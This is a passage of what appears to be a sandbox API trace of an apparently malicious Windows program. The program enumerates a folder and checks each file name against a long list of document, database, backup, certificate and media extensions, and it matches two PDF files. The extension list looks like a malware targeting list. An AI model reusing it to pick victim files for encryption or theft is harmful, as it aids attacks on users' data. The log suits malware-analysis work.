lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbbd0 [0048.108] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.108] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x132cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.108] lstrlenW (lpString="Dynamic.pdf") returned 11 [0048.108] lstrlenW (lpString=".1cd") returned 4 [0048.112] lstrcmpiW (lpString1=".1cd", lpString2=".pdf") returned -1 [0048.112] lstrlenW (lpString=".3ds") returned 4 [0048.112] lstrcmpiW (lpString1=".3ds", lpString2=".pdf") returned -1 [0048.112] lstrlenW (lpString=".3fr") returned 4 [0048.112] lstrcmpiW (lpString1=".3fr", lpString2=".pdf") returned -1 [0048.113] lstrlenW (lpString=".3g2") returned 4 [0048.113] lstrcmpiW (lpString1=".3g2", lpString2=".pdf") returned -1 [0048.113] lstrlenW (lpString=".3gp") returned 4 [0048.113] lstrcmpiW (lpString1=".3gp", lpString2=".pdf") returned -1 [0048.113] lstrlenW (lpString=".7z") returned 3 [0048.113] lstrcmpiW (lpString1=".7z", lpString2="pdf") returned -1 [0048.113] lstrlenW (lpString=".accda") returned 6 [0048.113] lstrcmpiW (lpString1=".accda", lpString2="ic.pdf") returned -1 [0048.115] lstrlenW (lpString=".accdb") returned 6 [0048.115] lstrcmpiW (lpString1=".accdb", lpString2="ic.pdf") returned -1 [0048.115] lstrlenW (lpString=".accdc") returned 6 [0048.115] lstrcmpiW (lpString1=".accdc", lpString2="ic.pdf") returned -1 [0048.115] lstrlenW (lpString=".accde") returned 6 [0048.117] lstrcmpiW (lpString1=".accde", lpString2="ic.pdf") returned -1 [0048.118] lstrlenW (lpString=".accdt") returned 6 [0048.119] lstrcmpiW (lpString1=".accdt", lpString2="ic.pdf") returned -1 [0048.119] lstrlenW (lpString=".accdw") returned 6 [0048.119] lstrcmpiW (lpString1=".accdw", lpString2="ic.pdf") returned -1 [0048.119] lstrlenW (lpString=".adb") returned 4 [0048.119] lstrcmpiW (lpString1=".adb", lpString2=".pdf") returned -1 [0048.119] lstrlenW (lpString=".adp") returned 4 [0048.119] lstrcmpiW (lpString1=".adp", lpString2=".pdf") returned -1 [0048.121] lstrlenW (lpString=".ai") returned 3 [0048.121] lstrcmpiW (lpString1=".ai", lpString2="pdf") returned -1 [0048.121] lstrlenW (lpString=".ai3") returned 4 [0048.121] lstrcmpiW (lpString1=".ai3", lpString2=".pdf") returned -1 [0048.121] lstrlenW (lpString=".ai4") returned 4 [0048.121] lstrcmpiW (lpString1=".ai4", lpString2=".pdf") returned -1 [0048.121] lstrlenW (lpString=".ai5") returned 4 [0048.122] lstrcmpiW (lpString1=".ai5", lpString2=".pdf") returned -1 [0048.122] lstrlenW (lpString=".ai6") returned 4 [0048.123] lstrcmpiW (lpString1=".ai6", lpString2=".pdf") returned -1 [0048.123] lstrlenW (lpString=".ai7") returned 4 [0048.123] lstrcmpiW (lpString1=".ai7", lpString2=".pdf") returned -1 [0048.123] lstrlenW (lpString=".ai8") returned 4 [0048.123] lstrcmpiW (lpString1=".ai8", lpString2=".pdf") returned -1 [0048.123] lstrlenW (lpString=".anim") returned 5 [0048.124] lstrcmpiW (lpString1=".anim", lpString2="c.pdf") returned -1 [0048.124] lstrlenW (lpString=".arw") returned 4 [0048.124] lstrcmpiW (lpString1=".arw", lpString2=".pdf") returned -1 [0048.124] lstrlenW (lpString=".as") returned 3 [0048.124] lstrcmpiW (lpString1=".as", lpString2="pdf") returned -1 [0048.124] lstrlenW (lpString=".asa") returned 4 [0048.124] lstrcmpiW (lpString1=".asa", lpString2=".pdf") returned -1 [0048.124] lstrlenW (lpString=".asc") returned 4 [0048.125] lstrcmpiW (lpString1=".asc", lpString2=".pdf") returned -1 [0048.125] lstrlenW (lpString=".ascx") returned 5 [0048.125] lstrcmpiW (lpString1=".ascx", lpString2="c.pdf") returned -1 [0048.125] lstrlenW (lpString=".asm") returned 4 [0048.126] lstrcmpiW (lpString1=".asm", lpString2=".pdf") returned -1 [0048.126] lstrlenW (lpString=".asmx") returned 5 [0048.126] lstrcmpiW (lpString1=".asmx", lpString2="c.pdf") returned -1 [0048.127] lstrlenW (lpString=".asp") returned 4 [0048.127] lstrcmpiW (lpString1=".asp", lpString2=".pdf") returned -1 [0048.128] lstrlenW (lpString=".aspx") returned 5 [0048.128] lstrcmpiW (lpString1=".aspx", lpString2="c.pdf") returned -1 [0048.129] lstrlenW (lpString=".asr") returned 4 [0048.129] lstrcmpiW (lpString1=".asr", lpString2=".pdf") returned -1 [0048.129] lstrlenW (lpString=".asx") returned 4 [0048.129] lstrcmpiW (lpString1=".asx", lpString2=".pdf") returned -1 [0048.131] lstrlenW (lpString=".avi") returned 4 [0048.131] lstrcmpiW (lpString1=".avi", lpString2=".pdf") returned -1 [0048.134] lstrlenW (lpString=".avs") returned 4 [0048.134] lstrcmpiW (lpString1=".avs", lpString2=".pdf") returned -1 [0048.134] lstrlenW (lpString=".backup") returned 7 [0048.134] lstrcmpiW (lpString1=".backup", lpString2="mic.pdf") returned -1 [0048.134] lstrlenW (lpString=".bak") returned 4 [0048.134] lstrcmpiW (lpString1=".bak", lpString2=".pdf") returned -1 [0048.134] lstrlenW (lpString=".bay") returned 4 [0048.134] lstrcmpiW (lpString1=".bay", lpString2=".pdf") returned -1 [0048.134] lstrlenW (lpString=".bd") returned 3 [0048.134] lstrcmpiW (lpString1=".bd", lpString2="pdf") returned -1 [0048.134] lstrlenW (lpString=".bin") returned 4 [0048.134] lstrcmpiW (lpString1=".bin", lpString2=".pdf") returned -1 [0048.134] lstrlenW (lpString=".bmp") returned 4 [0048.134] lstrcmpiW (lpString1=".bmp", lpString2=".pdf") returned -1 [0048.134] lstrlenW (lpString=".bz2") returned 4 [0048.134] lstrcmpiW (lpString1=".bz2", lpString2=".pdf") returned -1 [0048.134] lstrlenW (lpString=".c") returned 2 [0048.134] lstrcmpiW (lpString1=".c", lpString2="df") returned -1 [0048.134] lstrlenW (lpString=".cdr") returned 4 [0048.134] lstrcmpiW (lpString1=".cdr", lpString2=".pdf") returned -1 [0048.134] lstrlenW (lpString=".cer") returned 4 [0048.135] lstrcmpiW (lpString1=".cer", lpString2=".pdf") returned -1 [0048.135] lstrlenW (lpString=".cf") returned 3 [0048.135] lstrcmpiW (lpString1=".cf", lpString2="pdf") returned -1 [0048.135] lstrlenW (lpString=".cfc") returned 4 [0048.135] lstrcmpiW (lpString1=".cfc", lpString2=".pdf") returned -1 [0048.135] lstrlenW (lpString=".cfm") returned 4 [0048.135] lstrcmpiW (lpString1=".cfm", lpString2=".pdf") returned -1 [0048.135] lstrlenW (lpString=".cfml") returned 5 [0048.135] lstrcmpiW (lpString1=".cfml", lpString2="c.pdf") returned -1 [0048.135] lstrlenW (lpString=".cfu") returned 4 [0048.135] lstrcmpiW (lpString1=".cfu", lpString2=".pdf") returned -1 [0048.135] lstrlenW (lpString=".chm") returned 4 [0048.135] lstrcmpiW (lpString1=".chm", lpString2=".pdf") returned -1 [0048.135] lstrlenW (lpString=".cin") returned 4 [0048.135] lstrcmpiW (lpString1=".cin", lpString2=".pdf") returned -1 [0048.135] lstrlenW (lpString=".class") returned 6 [0048.135] lstrcmpiW (lpString1=".class", lpString2="ic.pdf") returned -1 [0048.135] lstrlenW (lpString=".clx") returned 4 [0048.135] lstrcmpiW (lpString1=".clx", lpString2=".pdf") returned -1 [0048.135] lstrlenW (lpString=".config") returned 7 [0048.135] lstrcmpiW (lpString1=".config", lpString2="mic.pdf") returned -1 [0048.135] lstrlenW (lpString=".cpp") returned 4 [0048.135] lstrcmpiW (lpString1=".cpp", lpString2=".pdf") returned -1 [0048.135] lstrlenW (lpString=".cr2") returned 4 [0048.135] lstrcmpiW (lpString1=".cr2", lpString2=".pdf") returned -1 [0048.135] lstrlenW (lpString=".crt") returned 4 [0048.135] lstrcmpiW (lpString1=".crt", lpString2=".pdf") returned -1 [0048.135] lstrlenW (lpString=".crw") returned 4 [0048.135] lstrcmpiW (lpString1=".crw", lpString2=".pdf") returned -1 [0048.135] lstrlenW (lpString=".cs") returned 3 [0048.135] lstrcmpiW (lpString1=".cs", lpString2="pdf") returned -1 [0048.135] lstrlenW (lpString=".css") returned 4 [0048.135] lstrcmpiW (lpString1=".css", lpString2=".pdf") returned -1 [0048.135] lstrlenW (lpString=".csv") returned 4 [0048.136] lstrcmpiW (lpString1=".csv", lpString2=".pdf") returned -1 [0048.136] lstrlenW (lpString=".cub") returned 4 [0048.136] lstrcmpiW (lpString1=".cub", lpString2=".pdf") returned -1 [0048.136] lstrlenW (lpString=".dae") returned 4 [0048.136] lstrcmpiW (lpString1=".dae", lpString2=".pdf") returned -1 [0048.136] lstrlenW (lpString=".dat") returned 4 [0048.136] lstrcmpiW (lpString1=".dat", lpString2=".pdf") returned -1 [0048.136] lstrlenW (lpString=".db") returned 3 [0048.136] lstrcmpiW (lpString1=".db", lpString2="pdf") returned -1 [0048.136] lstrlenW (lpString=".dbf") returned 4 [0048.136] lstrcmpiW (lpString1=".dbf", lpString2=".pdf") returned -1 [0048.136] lstrlenW (lpString=".dbx") returned 4 [0048.136] lstrcmpiW (lpString1=".dbx", lpString2=".pdf") returned -1 [0048.136] lstrlenW (lpString=".dc3") returned 4 [0048.136] lstrcmpiW (lpString1=".dc3", lpString2=".pdf") returned -1 [0048.136] lstrlenW (lpString=".dcm") returned 4 [0048.136] lstrcmpiW (lpString1=".dcm", lpString2=".pdf") returned -1 [0048.136] lstrlenW (lpString=".dcr") returned 4 [0048.136] lstrcmpiW (lpString1=".dcr", lpString2=".pdf") returned -1 [0048.136] lstrlenW (lpString=".der") returned 4 [0048.136] lstrcmpiW (lpString1=".der", lpString2=".pdf") returned -1 [0048.136] lstrlenW (lpString=".dib") returned 4 [0048.136] lstrcmpiW (lpString1=".dib", lpString2=".pdf") returned -1 [0048.136] lstrlenW (lpString=".dic") returned 4 [0048.136] lstrcmpiW (lpString1=".dic", lpString2=".pdf") returned -1 [0048.136] lstrlenW (lpString=".dif") returned 4 [0048.136] lstrcmpiW (lpString1=".dif", lpString2=".pdf") returned -1 [0048.136] lstrlenW (lpString=".divx") returned 5 [0048.136] lstrcmpiW (lpString1=".divx", lpString2="c.pdf") returned -1 [0048.136] lstrlenW (lpString=".djvu") returned 5 [0048.136] lstrcmpiW (lpString1=".djvu", lpString2="c.pdf") returned -1 [0048.136] lstrlenW (lpString=".dng") returned 4 [0048.136] lstrcmpiW (lpString1=".dng", lpString2=".pdf") returned -1 [0048.136] lstrlenW (lpString=".doc") returned 4 [0048.137] lstrcmpiW (lpString1=".doc", lpString2=".pdf") returned -1 [0048.137] lstrlenW (lpString=".docm") returned 5 [0048.137] lstrcmpiW (lpString1=".docm", lpString2="c.pdf") returned -1 [0048.137] lstrlenW (lpString=".docx") returned 5 [0048.137] lstrcmpiW (lpString1=".docx", lpString2="c.pdf") returned -1 [0048.137] lstrlenW (lpString=".dot") returned 4 [0048.137] lstrcmpiW (lpString1=".dot", lpString2=".pdf") returned -1 [0048.137] lstrlenW (lpString=".dotm") returned 5 [0048.137] lstrcmpiW (lpString1=".dotm", lpString2="c.pdf") returned -1 [0048.137] lstrlenW (lpString=".dotx") returned 5 [0048.137] lstrcmpiW (lpString1=".dotx", lpString2="c.pdf") returned -1 [0048.137] lstrlenW (lpString=".dpx") returned 4 [0048.137] lstrcmpiW (lpString1=".dpx", lpString2=".pdf") returned -1 [0048.137] lstrlenW (lpString=".dqy") returned 4 [0048.137] lstrcmpiW (lpString1=".dqy", lpString2=".pdf") returned -1 [0048.137] lstrlenW (lpString=".dsn") returned 4 [0048.137] lstrcmpiW (lpString1=".dsn", lpString2=".pdf") returned -1 [0048.137] lstrlenW (lpString=".dt") returned 3 [0048.137] lstrcmpiW (lpString1=".dt", lpString2="pdf") returned -1 [0048.137] lstrlenW (lpString=".dtd") returned 4 [0048.137] lstrcmpiW (lpString1=".dtd", lpString2=".pdf") returned -1 [0048.137] lstrlenW (lpString=".dwg") returned 4 [0048.137] lstrcmpiW (lpString1=".dwg", lpString2=".pdf") returned -1 [0048.137] lstrlenW (lpString=".dwt") returned 4 [0048.137] lstrcmpiW (lpString1=".dwt", lpString2=".pdf") returned -1 [0048.137] lstrlenW (lpString=".dx") returned 3 [0048.137] lstrcmpiW (lpString1=".dx", lpString2="pdf") returned -1 [0048.137] lstrlenW (lpString=".dxf") returned 4 [0048.137] lstrcmpiW (lpString1=".dxf", lpString2=".pdf") returned -1 [0048.137] lstrlenW (lpString=".edml") returned 5 [0048.137] lstrcmpiW (lpString1=".edml", lpString2="c.pdf") returned -1 [0048.137] lstrlenW (lpString=".efd") returned 4 [0048.137] lstrcmpiW (lpString1=".efd", lpString2=".pdf") returned -1 [0048.137] lstrlenW (lpString=".elf") returned 4 [0048.138] lstrcmpiW (lpString1=".elf", lpString2=".pdf") returned -1 [0048.138] lstrlenW (lpString=".emf") returned 4 [0048.138] lstrcmpiW (lpString1=".emf", lpString2=".pdf") returned -1 [0048.138] lstrlenW (lpString=".emz") returned 4 [0048.138] lstrcmpiW (lpString1=".emz", lpString2=".pdf") returned -1 [0048.138] lstrlenW (lpString=".epf") returned 4 [0048.138] lstrcmpiW (lpString1=".epf", lpString2=".pdf") returned -1 [0048.138] lstrlenW (lpString=".eps") returned 4 [0048.138] lstrcmpiW (lpString1=".eps", lpString2=".pdf") returned -1 [0048.138] lstrlenW (lpString=".epsf") returned 5 [0048.138] lstrcmpiW (lpString1=".epsf", lpString2="c.pdf") returned -1 [0048.138] lstrlenW (lpString=".epsp") returned 5 [0048.138] lstrcmpiW (lpString1=".epsp", lpString2="c.pdf") returned -1 [0048.138] lstrlenW (lpString=".erf") returned 4 [0048.138] lstrcmpiW (lpString1=".erf", lpString2=".pdf") returned -1 [0048.138] lstrlenW (lpString=".exr") returned 4 [0048.138] lstrcmpiW (lpString1=".exr", lpString2=".pdf") returned -1 [0048.138] lstrlenW (lpString=".f4v") returned 4 [0048.138] lstrcmpiW (lpString1=".f4v", lpString2=".pdf") returned -1 [0048.138] lstrlenW (lpString=".fido") returned 5 [0048.138] lstrcmpiW (lpString1=".fido", lpString2="c.pdf") returned -1 [0048.138] lstrlenW (lpString=".flm") returned 4 [0048.138] lstrcmpiW (lpString1=".flm", lpString2=".pdf") returned -1 [0048.138] lstrlenW (lpString=".flv") returned 4 [0048.138] lstrcmpiW (lpString1=".flv", lpString2=".pdf") returned -1 [0048.138] lstrlenW (lpString=".frm") returned 4 [0048.138] lstrcmpiW (lpString1=".frm", lpString2=".pdf") returned -1 [0048.138] lstrlenW (lpString=".fxg") returned 4 [0048.138] lstrcmpiW (lpString1=".fxg", lpString2=".pdf") returned -1 [0048.138] lstrlenW (lpString=".geo") returned 4 [0048.138] lstrcmpiW (lpString1=".geo", lpString2=".pdf") returned -1 [0048.138] lstrlenW (lpString=".gif") returned 4 [0048.138] lstrcmpiW (lpString1=".gif", lpString2=".pdf") returned -1 [0048.138] lstrlenW (lpString=".grs") returned 4 [0048.139] lstrcmpiW (lpString1=".grs", lpString2=".pdf") returned -1 [0048.139] lstrlenW (lpString=".gz") returned 3 [0048.139] lstrcmpiW (lpString1=".gz", lpString2="pdf") returned -1 [0048.139] lstrlenW (lpString=".h") returned 2 [0048.139] lstrcmpiW (lpString1=".h", lpString2="df") returned -1 [0048.139] lstrlenW (lpString=".hdr") returned 4 [0048.139] lstrcmpiW (lpString1=".hdr", lpString2=".pdf") returned -1 [0048.139] lstrlenW (lpString=".hpp") returned 4 [0048.139] lstrcmpiW (lpString1=".hpp", lpString2=".pdf") returned -1 [0048.139] lstrlenW (lpString=".hta") returned 4 [0048.139] lstrcmpiW (lpString1=".hta", lpString2=".pdf") returned -1 [0048.139] lstrlenW (lpString=".htc") returned 4 [0048.139] lstrcmpiW (lpString1=".htc", lpString2=".pdf") returned -1 [0048.139] lstrlenW (lpString=".htm") returned 4 [0048.139] lstrcmpiW (lpString1=".htm", lpString2=".pdf") returned -1 [0048.139] lstrlenW (lpString=".html") returned 5 [0048.139] lstrcmpiW (lpString1=".html", lpString2="c.pdf") returned -1 [0048.139] lstrlenW (lpString=".icb") returned 4 [0048.139] lstrcmpiW (lpString1=".icb", lpString2=".pdf") returned -1 [0048.139] lstrlenW (lpString=".ics") returned 4 [0048.139] lstrcmpiW (lpString1=".ics", lpString2=".pdf") returned -1 [0048.139] lstrlenW (lpString=".iff") returned 4 [0048.139] lstrcmpiW (lpString1=".iff", lpString2=".pdf") returned -1 [0048.139] lstrlenW (lpString=".inc") returned 4 [0048.139] lstrcmpiW (lpString1=".inc", lpString2=".pdf") returned -1 [0048.139] lstrlenW (lpString=".indd") returned 5 [0048.139] lstrcmpiW (lpString1=".indd", lpString2="c.pdf") returned -1 [0048.139] lstrlenW (lpString=".ini") returned 4 [0048.139] lstrcmpiW (lpString1=".ini", lpString2=".pdf") returned -1 [0048.139] lstrlenW (lpString=".iqy") returned 4 [0048.139] lstrcmpiW (lpString1=".iqy", lpString2=".pdf") returned -1 [0048.139] lstrlenW (lpString=".j2c") returned 4 [0048.139] lstrcmpiW (lpString1=".j2c", lpString2=".pdf") returned -1 [0048.139] lstrlenW (lpString=".j2k") returned 4 [0048.140] lstrcmpiW (lpString1=".j2k", lpString2=".pdf") returned -1 [0048.140] lstrlenW (lpString=".java") returned 5 [0048.140] lstrcmpiW (lpString1=".java", lpString2="c.pdf") returned -1 [0048.140] lstrlenW (lpString=".jp2") returned 4 [0048.140] lstrcmpiW (lpString1=".jp2", lpString2=".pdf") returned -1 [0048.140] lstrlenW (lpString=".jpc") returned 4 [0048.140] lstrcmpiW (lpString1=".jpc", lpString2=".pdf") returned -1 [0048.140] lstrlenW (lpString=".jpe") returned 4 [0048.140] lstrcmpiW (lpString1=".jpe", lpString2=".pdf") returned -1 [0048.140] lstrlenW (lpString=".jpeg") returned 5 [0048.140] lstrcmpiW (lpString1=".jpeg", lpString2="c.pdf") returned -1 [0048.140] lstrlenW (lpString=".jpf") returned 4 [0048.140] lstrcmpiW (lpString1=".jpf", lpString2=".pdf") returned -1 [0048.140] lstrlenW (lpString=".jpg") returned 4 [0048.140] lstrcmpiW (lpString1=".jpg", lpString2=".pdf") returned -1 [0048.140] lstrlenW (lpString=".jpx") returned 4 [0048.140] lstrcmpiW (lpString1=".jpx", lpString2=".pdf") returned -1 [0048.140] lstrlenW (lpString=".js") returned 3 [0048.140] lstrcmpiW (lpString1=".js", lpString2="pdf") returned -1 [0048.140] lstrlenW (lpString=".jsf") returned 4 [0048.140] lstrcmpiW (lpString1=".jsf", lpString2=".pdf") returned -1 [0048.140] lstrlenW (lpString=".json") returned 5 [0048.140] lstrcmpiW (lpString1=".json", lpString2="c.pdf") returned -1 [0048.140] lstrlenW (lpString=".jsp") returned 4 [0048.140] lstrcmpiW (lpString1=".jsp", lpString2=".pdf") returned -1 [0048.140] lstrlenW (lpString=".kdc") returned 4 [0048.140] lstrcmpiW (lpString1=".kdc", lpString2=".pdf") returned -1 [0048.140] lstrlenW (lpString=".kmz") returned 4 [0048.140] lstrcmpiW (lpString1=".kmz", lpString2=".pdf") returned -1 [0048.140] lstrlenW (lpString=".kwm") returned 4 [0048.140] lstrcmpiW (lpString1=".kwm", lpString2=".pdf") returned -1 [0048.140] lstrlenW (lpString=".lasso") returned 6 [0048.140] lstrcmpiW (lpString1=".lasso", lpString2="ic.pdf") returned -1 [0048.141] lstrlenW (lpString=".lbi") returned 4 [0048.141] lstrcmpiW (lpString1=".lbi", lpString2=".pdf") returned -1 [0048.141] lstrlenW (lpString=".lgf") returned 4 [0048.141] lstrcmpiW (lpString1=".lgf", lpString2=".pdf") returned -1 [0048.141] lstrlenW (lpString=".lgp") returned 4 [0048.141] lstrcmpiW (lpString1=".lgp", lpString2=".pdf") returned -1 [0048.141] lstrlenW (lpString=".log") returned 4 [0048.141] lstrcmpiW (lpString1=".log", lpString2=".pdf") returned -1 [0048.141] lstrlenW (lpString=".m1v") returned 4 [0048.141] lstrcmpiW (lpString1=".m1v", lpString2=".pdf") returned -1 [0048.141] lstrlenW (lpString=".m4a") returned 4 [0048.141] lstrcmpiW (lpString1=".m4a", lpString2=".pdf") returned -1 [0048.141] lstrlenW (lpString=".m4v") returned 4 [0048.141] lstrcmpiW (lpString1=".m4v", lpString2=".pdf") returned -1 [0048.141] lstrlenW (lpString=".max") returned 4 [0048.141] lstrcmpiW (lpString1=".max", lpString2=".pdf") returned -1 [0048.141] lstrlenW (lpString=".md") returned 3 [0048.141] lstrcmpiW (lpString1=".md", lpString2="pdf") returned -1 [0048.141] lstrlenW (lpString=".mda") returned 4 [0048.141] lstrcmpiW (lpString1=".mda", lpString2=".pdf") returned -1 [0048.141] lstrlenW (lpString=".mdb") returned 4 [0048.141] lstrcmpiW (lpString1=".mdb", lpString2=".pdf") returned -1 [0048.141] lstrlenW (lpString=".mde") returned 4 [0048.141] lstrcmpiW (lpString1=".mde", lpString2=".pdf") returned -1 [0048.141] lstrlenW (lpString=".mdf") returned 4 [0048.141] lstrcmpiW (lpString1=".mdf", lpString2=".pdf") returned -1 [0048.141] lstrlenW (lpString=".mdw") returned 4 [0048.141] lstrcmpiW (lpString1=".mdw", lpString2=".pdf") returned -1 [0048.141] lstrlenW (lpString=".mef") returned 4 [0048.141] lstrcmpiW (lpString1=".mef", lpString2=".pdf") returned -1 [0048.141] lstrlenW (lpString=".mft") returned 4 [0048.141] lstrcmpiW (lpString1=".mft", lpString2=".pdf") returned -1 [0048.141] lstrlenW (lpString=".mfw") returned 4 [0048.141] lstrcmpiW (lpString1=".mfw", lpString2=".pdf") returned -1 [0048.142] lstrlenW (lpString=".mht") returned 4 [0048.142] lstrcmpiW (lpString1=".mht", lpString2=".pdf") returned -1 [0048.142] lstrlenW (lpString=".mhtml") returned 6 [0048.142] lstrcmpiW (lpString1=".mhtml", lpString2="ic.pdf") returned -1 [0048.142] lstrlenW (lpString=".mka") returned 4 [0048.142] lstrcmpiW (lpString1=".mka", lpString2=".pdf") returned -1 [0048.142] lstrlenW (lpString=".mkidx") returned 6 [0048.142] lstrcmpiW (lpString1=".mkidx", lpString2="ic.pdf") returned -1 [0048.142] lstrlenW (lpString=".mkv") returned 4 [0048.142] lstrcmpiW (lpString1=".mkv", lpString2=".pdf") returned -1 [0048.142] lstrlenW (lpString=".mos") returned 4 [0048.142] lstrcmpiW (lpString1=".mos", lpString2=".pdf") returned -1 [0048.142] lstrlenW (lpString=".mov") returned 4 [0048.142] lstrcmpiW (lpString1=".mov", lpString2=".pdf") returned -1 [0048.142] lstrlenW (lpString=".mp3") returned 4 [0048.142] lstrcmpiW (lpString1=".mp3", lpString2=".pdf") returned -1 [0048.142] lstrlenW (lpString=".mp4") returned 4 [0048.142] lstrcmpiW (lpString1=".mp4", lpString2=".pdf") returned -1 [0048.142] lstrlenW (lpString=".mpeg") returned 5 [0048.142] lstrcmpiW (lpString1=".mpeg", lpString2="c.pdf") returned -1 [0048.142] lstrlenW (lpString=".mpg") returned 4 [0048.142] lstrcmpiW (lpString1=".mpg", lpString2=".pdf") returned -1 [0048.142] lstrlenW (lpString=".mpv") returned 4 [0048.142] lstrcmpiW (lpString1=".mpv", lpString2=".pdf") returned -1 [0048.142] lstrlenW (lpString=".mrw") returned 4 [0048.142] lstrcmpiW (lpString1=".mrw", lpString2=".pdf") returned -1 [0048.142] lstrlenW (lpString=".msg") returned 4 [0048.142] lstrcmpiW (lpString1=".msg", lpString2=".pdf") returned -1 [0048.142] lstrlenW (lpString=".mxl") returned 4 [0048.142] lstrcmpiW (lpString1=".mxl", lpString2=".pdf") returned -1 [0048.142] lstrlenW (lpString=".myd") returned 4 [0048.142] lstrcmpiW (lpString1=".myd", lpString2=".pdf") returned -1 [0048.142] lstrlenW (lpString=".myi") returned 4 [0048.143] lstrcmpiW (lpString1=".myi", lpString2=".pdf") returned -1 [0048.143] lstrlenW (lpString=".nef") returned 4 [0048.143] lstrcmpiW (lpString1=".nef", lpString2=".pdf") returned -1 [0048.143] lstrlenW (lpString=".nrw") returned 4 [0048.143] lstrcmpiW (lpString1=".nrw", lpString2=".pdf") returned -1 [0048.143] lstrlenW (lpString=".obj") returned 4 [0048.143] lstrcmpiW (lpString1=".obj", lpString2=".pdf") returned -1 [0048.143] lstrlenW (lpString=".odb") returned 4 [0048.143] lstrcmpiW (lpString1=".odb", lpString2=".pdf") returned -1 [0048.143] lstrlenW (lpString=".odc") returned 4 [0048.143] lstrcmpiW (lpString1=".odc", lpString2=".pdf") returned -1 [0048.143] lstrlenW (lpString=".odm") returned 4 [0048.143] lstrcmpiW (lpString1=".odm", lpString2=".pdf") returned -1 [0048.143] lstrlenW (lpString=".odp") returned 4 [0048.143] lstrcmpiW (lpString1=".odp", lpString2=".pdf") returned -1 [0048.143] lstrlenW (lpString=".ods") returned 4 [0048.143] lstrcmpiW (lpString1=".ods", lpString2=".pdf") returned -1 [0048.143] lstrlenW (lpString=".oft") returned 4 [0048.143] lstrcmpiW (lpString1=".oft", lpString2=".pdf") returned -1 [0048.143] lstrlenW (lpString=".one") returned 4 [0048.143] lstrcmpiW (lpString1=".one", lpString2=".pdf") returned -1 [0048.143] lstrlenW (lpString=".onepkg") returned 7 [0048.143] lstrcmpiW (lpString1=".onepkg", lpString2="mic.pdf") returned -1 [0048.143] lstrlenW (lpString=".onetoc2") returned 8 [0048.143] lstrcmpiW (lpString1=".onetoc2", lpString2="amic.pdf") returned -1 [0048.143] lstrlenW (lpString=".opt") returned 4 [0048.143] lstrcmpiW (lpString1=".opt", lpString2=".pdf") returned -1 [0048.143] lstrlenW (lpString=".oqy") returned 4 [0048.143] lstrcmpiW (lpString1=".oqy", lpString2=".pdf") returned -1 [0048.143] lstrlenW (lpString=".orf") returned 4 [0048.143] lstrcmpiW (lpString1=".orf", lpString2=".pdf") returned -1 [0048.143] lstrlenW (lpString=".p12") returned 4 [0048.143] lstrcmpiW (lpString1=".p12", lpString2=".pdf") returned -1 [0048.144] lstrlenW (lpString=".p7b") returned 4 [0048.144] lstrcmpiW (lpString1=".p7b", lpString2=".pdf") returned -1 [0048.144] lstrlenW (lpString=".p7c") returned 4 [0048.144] lstrcmpiW (lpString1=".p7c", lpString2=".pdf") returned -1 [0048.144] lstrlenW (lpString=".pam") returned 4 [0048.144] lstrcmpiW (lpString1=".pam", lpString2=".pdf") returned -1 [0048.144] lstrlenW (lpString=".pbm") returned 4 [0048.144] lstrcmpiW (lpString1=".pbm", lpString2=".pdf") returned -1 [0048.144] lstrlenW (lpString=".pct") returned 4 [0048.144] lstrcmpiW (lpString1=".pct", lpString2=".pdf") returned -1 [0048.144] lstrlenW (lpString=".pcx") returned 4 [0048.144] lstrcmpiW (lpString1=".pcx", lpString2=".pdf") returned -1 [0048.144] lstrlenW (lpString=".pdd") returned 4 [0048.144] lstrcmpiW (lpString1=".pdd", lpString2=".pdf") returned -1 [0048.144] lstrlenW (lpString=".pdf") returned 4 [0048.144] lstrcmpiW (lpString1=".pdf", lpString2=".pdf") returned 0 [0048.144] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb7c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hanko.pdf", cAlternateFileName="")) returned 1 [0048.144] lstrlenW (lpString="Hanko.pdf") returned 9 [0048.144] lstrlenW (lpString=".1cd") returned 4 [0048.144] lstrcmpiW (lpString1=".1cd", lpString2=".pdf") returned -1 [0048.144] lstrlenW (lpString=".3ds") returned 4 [0048.144] lstrcmpiW (lpString1=".3ds", lpString2=".pdf") returned -1 [0048.144] lstrlenW (lpString=".3fr") returned 4 [0048.144] lstrcmpiW (lpString1=".3fr", lpString2=".pdf") returned -1 [0048.144] lstrlenW (lpString=".3g2") returned 4 [0048.144] lstrcmpiW (lpString1=".3g2", 